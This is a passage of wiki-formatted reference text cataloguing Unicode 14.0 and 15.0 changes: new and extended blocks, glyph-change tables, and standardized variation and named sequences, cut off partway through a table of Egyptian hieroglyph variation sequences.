* Cross patties and a Tironian sign Capita Et (total 3 characters) were added to '''Supplemental Punctuation'''. (U+2E50-U+2E52)
* Letters for Taiwan and Cantonese language (total 5 characters) were added to '''Bopomofo Extended'''. (U+31BB-U+31BF)
* Some disunified ideographs (total 10 characters) were added to '''CJK Unified Ideographs Extension A'''. (U+4DB6-4DBF)
* Some ideographs for China (total 13 characters) were added to '''CJK Unified Ideographs'''. (U+9FF0-U+9FFC)
* Letters for Gaulish (total 6 characters) were added to '''Latin Extended-D'''. (U+A7C7-U+A7CA and U+A7F5-U+A7F6)
* An alternate sign Nasanta (total 1 character) was added to '''Syloti Nagri'''. (U+A82C)
* Letter R With Midle Tilde and modifier letters for Scottish phonology (total 4 characters) were added to '''Latin Extended-E'''. (U+AB68-U+AB6B)
* A symbol Ascia (total 1 character) was added to '''Ancient Symbols'''. (U+1019C)
* A letter for Pali (total 1 character) was added to '''Chakma'''. (U+11147)
* A vowel sign Prishthamatra E and Inverted Candrabindu (total 2 characters) were added to '''Sharada'''. (U+111CE and U+111CF)
* Double comma, sign Jihvamuliya and Uphadhmaniya (total 3 characters) were added to '''Newa'''. (U+1145A and U+11460-U+11461)
* Khitan Small Script Filler and reading marks for Vietnamese (total 3 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE4 and U+16FF0-U+16FF1)
* Some additional components (total 13 characters) were added to '''Tangut Components'''. (U+18AF3-U+18AFF)
* Creative Commons license symbols and Mask Work symbol (total 7 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10D-U+1F10F, U+1F16D-1F16F and U+1F1AD)
* Hut, Elevator, Pickup Truck and Roller Skate emoji (total 4 characters) were added to '''Transportation and Map Symbols'''. (U+1F6D6-U+1F6D7 and U+1F6FB-U+1F6FC)
* Arrows for legacy computing (total 2 characters) were added to '''Supplemental Arrows-C'''. (U+1F8B0-U+1F8B1)
* (total 10 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90C, U+1F972, U+1F977-U+1F978, U+1F9A3-U+1F9A4, U+1F9AB-U+1F9AD and U+1F9CB)
* (total 41 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA74, U+1FA83-U+1FA86, U+1FA96-U+1FAA8, U+1FAB0-U+1FAB6, U+1FAC0-U+1FAC2 and U+1FAD0-U+1FAD6)
* Gongche characters for Kunqu Opera (total 7 characters) were added to '''CJK Unified Ideographs Extension B'''. (U+2A6D7-U+2A6DD)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Tagalog
|1700..170C, 170E..1714
|20
|-
|Mongolian
|1834, 1871, 1878
|3
|-
|Sundanese
|1BAB
|1
|-
|Currency Symbols
|20BF
|1
|-
|CJK Radicals Supplement
|2E80..2E99, 2E9B..2EF3
|115
|-
|Kangxi Radicals
|2F00..2FD5
|214
|-
|CJK Unified Ideographs Extension A
|3472, 38C7, 3DB8, 3FE0, 440B, 46E9
|6
|-
|CJK Unified Ideographs
|53FD, 6146, 6711, 671C, 6721, 6725, 6BD2, 7B9A, 87CE, 8956, 93BF, 9B97
|12
|-
|Latin Extended-D
|A764..A765
|2
|-
|Phags-pa
|A86D
|1
|-
|Tangut
|175F6, 17F0D, 17F8A, 17FA5, 180D6, 18139, 18147, 184F1, 18736
|9
|-
|Tangut Components
|18843, 18856, 1888C, 1890A, 18915, 1893B
|6
|-
|Adlam
|1E900..1E94A, 1E950..1E959, 1E95E..1E95F
|71
|-
|Miscellaneous Symbols and Pictographs
|1F3B1
|1
|-
|Supplemental Symbols and Pictographs
|1F995..1F998, 1F99B..1F99E, 1F9B0..1F9B3, 1F9E7
|13
|-
|CJK Unified Ideographs Extension B
|20219, 21249, 21827, 22C3A, 2327B, 23496, 2355E, 2363B, 236ED, 23839, 23FD5, 24261, 24726, 248F2, 2548E, 26657, 26C9E, 26FE1, 27334, 27C0E, 27CEF, 2A38C
|22
|-
|CJK Unified Ideographs Extension C
|2AED5, 2AEF3, 2AF76, 2B09F, 2B1C3, 2B1E5
|6
|-
|CJK Unified Ideographs Extension E
|2B83C, 2B8D9..2B8DA, 2B96F, 2BBD7, 2BD61, 2BE4A, 2BF1D, 2BF9D, 2C0B8, 2C142, 2C176, 2C316, 2C3FB, 2C402, 2C7AC, 2C82C, 2C83A, 2C9A1, 2CC88, 2CD68
|21
|-
|CJK Unified Ideographs Extension F
|2DC09, 2DE4A, 2EB7E, 2EB89
|4
|-
|CJK Compatibility Ideographs Supplement
|2F83B, 2F878, 2F8D6..2F8D7, 2F8DA, 2F8F0, 2F984, 2FA02
|8
|-
! colspan=&quot;2&quot; |Total
!536
|}

== Unicode 14.0 ==

Unicode 14.0 was released on September 14, 2021. It encoded 144,697 characters, adding 838 new characters.

=== New blocks ===

* '''Arabic Extended-B''' (U+0870-U+089F), containing 41 characters, was added.
* '''Vithkuqi''' (U+10570-U+105BF), containing 70 characters, was added.
* '''Latin Extended-F''' (U+10780-U+107BF), containing 57 characters, was added.
* '''Old Uyghur''' (U+10F70-U+10FAF), containing 26 characters, was added.
* '''Unified Canadian Aboriginal Syllabics Extended-A''' (U+11AB0-U+11ABF), containing 16 characters, was added.
* '''Cypro-Minoan''' (U+12F90-U+12FFF), containing 99 characters, was added.
* '''Tangsa''' (U+16A70-U+16ACF), containing 89 characters, was added.
* '''Kana Extended-B''' (U+1AFF0-U+1AFFF), containing 13 characters, was added.
* '''Znamenny Musical Notation''' (U+1CF00-U+1CFFF), containing 185 characters, was added.
* '''Latin Extended-G''' (U+1DF00-U+1DFFF), containing 31 characters, was added.
* '''Toto''' (U+1E290-U+1E2BF), containing 31 characters, was added.
* '''Ethiopic Extended-B''' (U+1E7E0-U+1E7FF), containing 28 characters, was added.

=== Extended blocks ===

* An End of Text punctuation mark (total 1 character) was added to '''Arabic'''. (U+061D)
* Letters for Balti and Quranic orthography (total 12 characters) were added to '''Arabic Extended-A'''. (U+08B5 and U+08C8-U+08D2)
* A sign Nukta and letter Nakaara Pollu (total 2 characters) were added to '''Telugu'''. (U+0C3C and U+0C5D)
* A letter Nakaara Pollu (total 1 character) was added to '''Kannada'''. (U+0CDD)
* A letter Ra, sign Pamudpod and archaic letter Ra (total 3 characters) were added to '''Tagalog'''. (U+170D, U+1715 and U+171F)
* A fourth Free variation selector (total 1 character) was added to '''Mongolian'''. (U+180F)
* Combining diacritical marks for extended IPA (total 14 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1AC1-U+1ACE)
* An archaic ligature Jnya and punctuation marks (total 3 characters) were added to '''Balinese'''. (U+1B4C and U+1B7D-U+1B7E)
* A combining Dot Below Left (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFA)
* A Kyrgyz Som sign (total 1 character) was added to '''Currency Symbols'''. (U+20C0)
* A letter Caudate Chrivi (total 2 characters) were added to '''Glagolitic'''. (U+2C2F and U+2C5F)
* Medieval and phonetic punctuation marks (total 11 characters) were added to '''Supplemental Punctuation'''. (U+2E53-U+2E5D)
* Some ideographs for Macao (total 3 characters) were added to '''CJK Unified Ideographs'''. (U+9FFD-U+9FFF)
* Archaic European letters, modifier letters for Sokuon and Chatino orthography (total 13 characters) were added to '''Latin Extended-D'''. (U+A7C0-U+A7C1, U+A7D0-U+A7D1, U+A7D3, U+A7D5, U+A7D6-U+A7D9 and U+A7F2-U+A7F4)
* A modifier letter Wasla Above and honorifics (total 20 characters) were added to '''Arabic Presentation Forms-A'''. (U+FBC2, U+FD40-U+FD4F, U+FDCF and U+FDFE-U+FDFF)
* Letters for Old Tamil (total 6 characters) were added to '''Brahmi'''. (U+11070-U+11075)
* A vowel sign Vocalic R (total 1 character) was added to '''Khaiti'''. (U+110C2)
* An Abbreviation sign (total 1 character) was added to '''Takri'''. (U+116B9)
* Letters for Tai Ahom (total 7 characters) were added to '''Ahom'''. (U+11740-U+11746) The block was expanded from (U+11700-U+1173F) to (U+11700-U+1174F)
* Kana archaic letters (total 4 characters) were added to '''Kana Extended-A'''. (U+1B11F-U+1B122)
* Accidental symbols for Iranian classical music (total 2 characters) were added to '''Musical Symbols'''. (U+1D1E9-U+1D1EA)
* Playground Slide, Wheel and Ring Buoy emoji (total 3 characters) were added to '''Transportation and Map Symbols'''. (U+1F6DD-U+1F6DF)
* A Heavy Equals Sign emoji (total 1 character) was added to '''Geometric Shapes Extended'''. (U+1F7F0)
* A Troll and Face Holding Back Tears emoji (total 2 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F979 and U+1F9CC)
* (total 31 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA7B-U+1FA7C, U+1FAA9-U+1FAAC, U+1FAB7-U+1FABA, U+1FAC3-U+1FAC5, U+1FAD7-U+1FAD9, U+1FAE0-U+1FAE7 and U+1FAF0-U+1FAF6)
* Some ideographs for Macao (total 2 characters) were added to '''CJK Unified Ideographs Extension B'''. (U+2A6DE-U+2A6DF)
* Disunified ideographs and a G source ideograph for China, Hong Kong and Vietnam (total 4 characters) were added to '''CJK Unified Ideographs Extension C'''. (U+2B735-U+2B738)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Latin Extended-B
|0184..0185
|2
|-
|Arabic
|0674..0678, 06C5, 06C7, 06FE
|8
|-
|Letterlike Symbols
|210B, 2110, 2112, 211B, 212C, 2130..2131, 2133
|8
|-
|Enclosed Alphanumerics
|2460..24FF
|160
|-
|Dingbats
|2776..2793
|30
|-
|CJK Symbols and Punctuation
|3001..3029, 3030..303D, 303F
|56
|-
|CJK Strokes
|31C0..31E3
|36
|-
|Katakana Phonetic Extensions
|31F0..31FF
|16
|-
|Enclosed CJK Letters and Months
|3200..321E, 3220..32FF
|255
|-
|CJK Compatibiity
|3300..33FF
|256
|-
|CJK Unified Ideographs Extension A
|3777, 3B3F
|2
|-
|CJK Unified Ideographs
|5DD5, 652C, 6AC0
|3
|-
|Arabic Presentation Forms-A
|FBD7..FBD8, FBDD, FBE0..FBE1
|5
|-
|Vertical Forms
|FE10..FE19
|10
|-
|CJK Compatibiity Forms
|FE30..FE4F
|32
|-
|Small Form Variants
|FE50..FE52, FE54..FE66, FE68..FE6B
|26
|-
|Halfwidth and Fullwidth Forms
|FF01..FF9F, FFA1..FFBE, FFC2..FFC7, FFCA..FFCF, FFD2..FFD7, FFDA..FFDC, FFE0..FFE6, FFE8..FFEE
|225
|-
|Egyptian Hieroglyphs
|1300A, 13017, 1302D, 13032, 13034..13035, 13037..13038, 1303A..1303E, 1304E..1304F, 13055, 13057, 13068, 1309A, 130D2, 130D5, 130F6, 130FE, 13192, 1325F, 13267, 1326A, 13281, 13297, 1329E, 132B4, 132C1, 132E6, 13304, 1331F, 13378..1337B, 1337D..1337E, 133F3, 133FA..13403, 1340D, 13417, 1342B
|55
|-
|Mathematical Alphanumeric Symbols
|1D49C, 1D49E..1D49F, 1D4A2, 1D4A5..1D4A6, 1D4A9..1D4AC, 1D4AE..1D4B5
|18
|-
|Enclosed Alphanumeric Supplement
|1F100..1F1AD, 1F1E6..1F1FF
|200
|-
|Enclosed Ideographic Supplement
|1F200..1F202, 1F210..1F23B, 1F240..1F248, 1F250..1F251, 1F260..1F265
|64
|-
|Supplemental Symbols and Pictographs
|1F930
|1
|-
|CJK Unified Ideographs Extension B
|22ADC, 230F2, 25B27, 26F28
|4
|-
! colspan=&quot;2&quot; |Total
!1472
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|1D49C FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL A
|-
|212C FE00
|
|chancery style # SCRIPT CAPITAL B
|-
|1D49E FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL C
|-
|1D49F FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL D
|-
|2130 FE00
|
|chancery style # SCRIPT CAPITAL E
|-
|2131 FE00
|
|chancery style # SCRIPT CAPITAL F
|-
|1D4A2 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL G
|-
|210B FE00
|
|chancery style # SCRIPT CAPITAL H
|-
|2110 FE00
|
|chancery style # SCRIPT CAPITAL I
|-
|1D4A5 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL J
|-
|1D4A6 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL K
|-
|2112 FE00
|
|chancery style # SCRIPT CAPITAL L
|-
|2133 FE00
|
|chancery style # SCRIPT CAPITAL M
|-
|1D4A9 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL N
|-
|1D4AA FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL O
|-
|1D4AB FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL P
|-
|1D4AC FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Q
|-
|211B FE00
|
|chancery style # SCRIPT CAPITAL R
|-
|1D4AE FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL S
|-
|1D4AF FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL T
|-
|1D4B0 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL U
|-
|1D4B1 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL V
|-
|1D4B2 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL W
|-
|1D4B3 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL X
|-
|1D4B4 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Y
|-
|1D4B5 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Z
|-
|1D49C FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL A
|-
|212C FE01
|
|roundhand style # SCRIPT CAPITAL B
|-
|1D49E FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL C
|-
|1D49F FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL D
|-
|2130 FE01
|
|roundhand style # SCRIPT CAPITAL E
|-
|2131 FE01
|
|roundhand style # SCRIPT CAPITAL F
|-
|1D4A2 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL G
|-
|210B FE01
|
|roundhand style # SCRIPT CAPITAL H
|-
|2110 FE01
|
|roundhand style # SCRIPT CAPITAL I
|-
|1D4A5 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL J
|-
|1D4A6 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL K
|-
|2112 FE01
|
|roundhand style # SCRIPT CAPITAL L
|-
|2133 FE01
|
|roundhand style # SCRIPT CAPITAL M
|-
|1D4A9 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL N
|-
|1D4AA FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL O
|-
|1D4AB FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL P
|-
|1D4AC FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Q
|-
|211B FE01
|
|roundhand style # SCRIPT CAPITAL R
|-
|1D4AE FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL S
|-
|1D4AF FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL T
|-
|1D4B0 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL U
|-
|1D4B1 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL V
|-
|1D4B2 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL W
|-
|1D4B3 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL X
|-
|1D4B4 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Y
|-
|1D4B5 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Z
|}

===Named Sequences===
Here is a table with new named character sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Name
|-
|0915 093C
|DEVANAGARI SEQUENCE FOR LETTER QA
|-
|0916 093C
|DEVANAGARI SEQUENCE FOR LETTER KHHA
|-
|0917 093C
|DEVANAGARI SEQUENCE FOR LETTER GHHA
|-
|091C 093C
|DEVANAGARI SEQUENCE FOR LETTER ZA
|-
|0921 093C
|DEVANAGARI SEQUENCE FOR LETTER DDDHA
|-
|0922 093C
|DEVANAGARI SEQUENCE FOR LETTER RHA
|-
|092B 093C
|DEVANAGARI SEQUENCE FOR LETTER FA
|-
|092F 093C
|DEVANAGARI SEQUENCE FOR LETTER YYA
|-
|09A1 09BC
|BENGALI SEQUENCE FOR LETTER RRA
|-
|09A2 09BC
|BENGALI SEQUENCE FOR LETTER RHA
|-
|09AF 09BC
|BENGALI SEQUENCE FOR LETTER YYA
|-
|0A32 0A3C
|GURMUKHI SEQUENCE FOR LETTER LLA
|-
|0A38 0A3C
|GURMUKHI SEQUENCE FOR LETTER SHA
|-
|0A16 0A3C
|GURMUKHI SEQUENCE FOR LETTER KHHA
|-
|0A17 0A3C
|GURMUKHI SEQUENCE FOR LETTER GHHA
|-
|0A1C 0A3C
|GURMUKHI SEQUENCE FOR LETTER ZA
|-
|0A2B 0A3C
|GURMUKHI SEQUENCE FOR LETTER FA
|-
|0B21 0B3C
|ORIYA SEQUENCE FOR LETTER RRA
|-
|0B22 0B3C
|ORIYA SEQUENCE FOR LETTER RHA
|}

== Unicode 15.0 ==

Unicode 15.0 was released on September 13, 2022. It encoded 149,186 characters, adding 4,489 new characters.

=== New blocks ===

* '''Arabic Extended-C''' (U+10EC0-U+10EFF), containing 3 characters, was added.
* '''Devanagari Extended-A''' (U+11B00-U+11B5F), containing 10 characters, was added.
* '''Kawi''' (U+11F00-U+11F5F), containing 86 characters, was added.
* '''Kaktovik Numerals''' (U+1D2C0-U+1D2DF), containing 20 characters, was added.
* '''Cyrillic Extended-D''' (U+1E030-U+1E08F), containing 63 characters, was added.
* '''Nag Mundari''' (U+1E4D0-U+1E4FF), containing 42 characters, was added.
* '''CJK Unified Ideographs Extension H''' (U+31350-U+323AF), containing 4192 characters, was added.

=== Extended blocks ===

* A Yamakkan (total 1 character) was added to '''Lao'''. (U+0ECE)
* A combining Anusvara Above Right (total 1 character) was added to '''Kannada'''. (U+0CF3)
* Letters Qa, Short I and Vocalic R (total 3 characters) were added to '''Khojki'''. (U+1123F-U+11241)
* An additional hieroglyph to Group V (total 1 character) was added to '''Egyptian Hieroglyphs'''
* Extended format controls (total 29 characters) were added to '''Egyptian Hieroglyph Format Controls'''. (U+13439-U+13455). The block was expanded from (U+13430-U+1343F) to (U+13430-U+1345F)
* Hiragana and Katakana Small Ko (total 2 characters) were added to '''Small Kana Extension'''. (U+1B132 and U+1B155)
* Letters for Malayalam transliteration (total 6 characters) were added to '''Latin Extended-G'''. (U+1DF25-U+1DF2A)
* A Wireless emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6DC)
* A Nine Pointed White Star (total 1 character) was be added to '''Geometric Shapes Extended'''. (U+1F7D9)
* A Lot of Fortune, eclipse symbols and symbols for dwarf planets (total 6 characters) were added to '''Alchemical symbols'''. (U+1F774-U+1F776 and U+1F77B-U+1F77F)
* (total 20 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA75-U+1FA77, U+1FA87-U+1FA88, U+1FAAD-U+1FAAF, U+1FABB-U+1FABF, U+1FACE-U+1FACF, U+1FADA-U+1FADB, U+1FAE8 and U+1FAF7-U+1FAF8)
* A disunified ideograph for Macao (total 1 character) was added to '''CJK Unified Ideographs Extension C'''. (U+2B739)

===Glyph Changes===

Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|IPA Extensions
|025E, 029A
|2
|-
|United Canadian Aboriginal Syllabics
|144B, 14D1, 1506, 15C0..15C3, 15E8..15EE, 1601, 1604..1607, 160A..160D, 1614..162D, 1630..163F, 1646..1647, 165A
|66
|-
|United Canadian Aboriginal Syllabics Extended
|18DB, 18EC, 18F1..18F2, 18F5
|5
|-
|Sundanese
|1BBF
|1
|-
|Optical Character Recognition
|2447
|1
|-
|CJK Unified Ideographs Extension A
|34DC, 3BF6, 3C43, 48B4, 4DBE
|5
|-
|CJK Unified Ideographs
|585F, 5F50, 6BC0, 7BC9, 833E
|5
|-
|Cyrillic Extended-B
|A66E
|1
|-
|Old Turkic
|10C47
|1
|-
|Egyptian Hieroglyphs
|various (new standardized variation sequences)
|94
|-
|Khitan Small Script
|18CCA
|1
|-
|Wancho (font update)
|1E2C0..1E2F9, 1E2FF
|59
|-
|Alchemical Symbols (font update)
|1F700..1F773
|116
|-
|CJK Unified Ideographs Extension B
|20048, 20A1C, 2143F, 21A5F, 21C08, 21FBA, 22ACF, 23392, 238A7, 23D8F, 23F4E, 25D20, 26E30, 27B48, 27C4F, 28633, 28B02, 28E9A, 29760, 2A60F
|20
|-
|CJK Unified Ideographs Extension C
|2B249
|1
|-
|CJK Unified Ideographs Extension E
|2BB37, 2BD7D, 2C151, 2C1E0, 2C2D6, 2C5CA, 2C810, 2CD34
|8
|-
|CJK Unified Ideographs Extension F
|2CF4E, 2D25D, 2D3EC, 2D6A7, 2D7BA, 2D979, 2DA74, 2DA97, 2DC13, 2DDC0, 2DF10, 2DF78, 2E05A, 2E0AE, 2E516, 2E640, 2E680, 2EA63
|18
|-
|CJK Compatibility Ideographs Supplement
|2F804, 2F805, 2F833, 2F835, 2F84C, 2F84F, 2F852, 2F855, 2F887, 2F88B, 2F899, 2F8A0, 2F8A6, 2F8A7, 2F8AD, 2F8B1, 2F8B4, 2F8B7, 2F8BA, 2F8D0, 2F8E0..2F8E2, 2F8E5, 2F8E6, 2F8FE, 2F900, 2F901, 2F907, 2F912, 2F922, 2F926, 2F936, 2F938, 2F94E, 2F959, 2F95F, 2F96C, 2F99F, 2F9B8, 2F9BA, 2F9D3, 2F9DB, 2F9DC, 2F9E8, 2F9EA, 2F9EE, 2FA00, 2FA0D, 2FA1B
|50
|-
|CJK Unified Ideographs Extension G
|302FC, 30723, 30A6D, 30CF7, 30DBF, 31006, 3105D
|7
|-
! colspan=&quot;2&quot; |Total
!461
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|13091 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH D027
|-
|13092 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH D027A
|-
|13093 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH D028
|-
|130A9 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH D047
|-
|1310F FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F016
|-
|13117 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH F023
|-
|1311C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F028
|-
|13121 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F032
|-
|13127 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F037A
|-
|13139 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F051
|-
|13139 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH F051
|-
|13183 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH H005
|-
|13187 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH H008
|-
|131A0 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH K006
|-
|131A0 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH K006
|-
|131B1 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M003
|-
|131B1 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH M003
|-
|131B8 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M009
|-
|131B9 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M010
|-
|131BA FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH M010A
|-
|131CB FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M017
|-
|131EE FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH M044
|-
|131EE FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH M044
|-
|131F8 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N010
|-
|131F9 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH N011
|-
|131F9 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N011
|-
|131FA FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH N012
|-
|131FA FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N012
|-
|13216 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH N035
|-
|13257 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH O006
|-
|1327B FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH O029
|-
|1327F FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O031
|-
|1327F FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH O031
|-
|13285 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O036
|-
|1328C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O039
|-
|132A4 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH P008
|-
|132A4 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH P008
|-
|132AA FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Q003
|-
|132CB FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH R024
|-
|132DC FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH S010
|-
|132E7 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH S018
|-
|132E7 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S018
|-
|132E9 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S020
|-
|132F8 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S033
|-
|132FD FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S037
|-
|13302 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S042
|-
|13303 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S043
|-
|13307 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T001
|-
|13308 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T002
|-
|13310 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T008
|-
|13311 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T008A
|-
|13312 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T009
|-
|13312 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T009
|-
|13313 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T009A
|-
|13313 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T009A
|-
|13314 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T010
|-
|13314 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T010
|-
|1331B FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T016
|-
|1331B FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T016
|-
|1331C FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T016A
|-
|13321 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T021
|-
|13321 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T021
|-
|13322 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T022
|-
|13322 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T022
|-
|13331 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T035
|-
|13331 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T035
|-
|1333B FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH U007
|-
|1333C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH U008
|-
|1334A FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH U022
|-
|13361 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH U042
|-
|13373 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V007A
|-
|13377 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V010
|-
|13378 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V011
|-
|1337D FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V012A
|-
|13385 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V019
|-
|13399 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V026
|-
|1339A FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V027
|-
|133AF FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W001
|-
|133B0 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W002
|-
|133BF FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W014
|-
|133D3 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH X004A
|-
|133DD FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH Y002
|-
|133F2 FE00
|
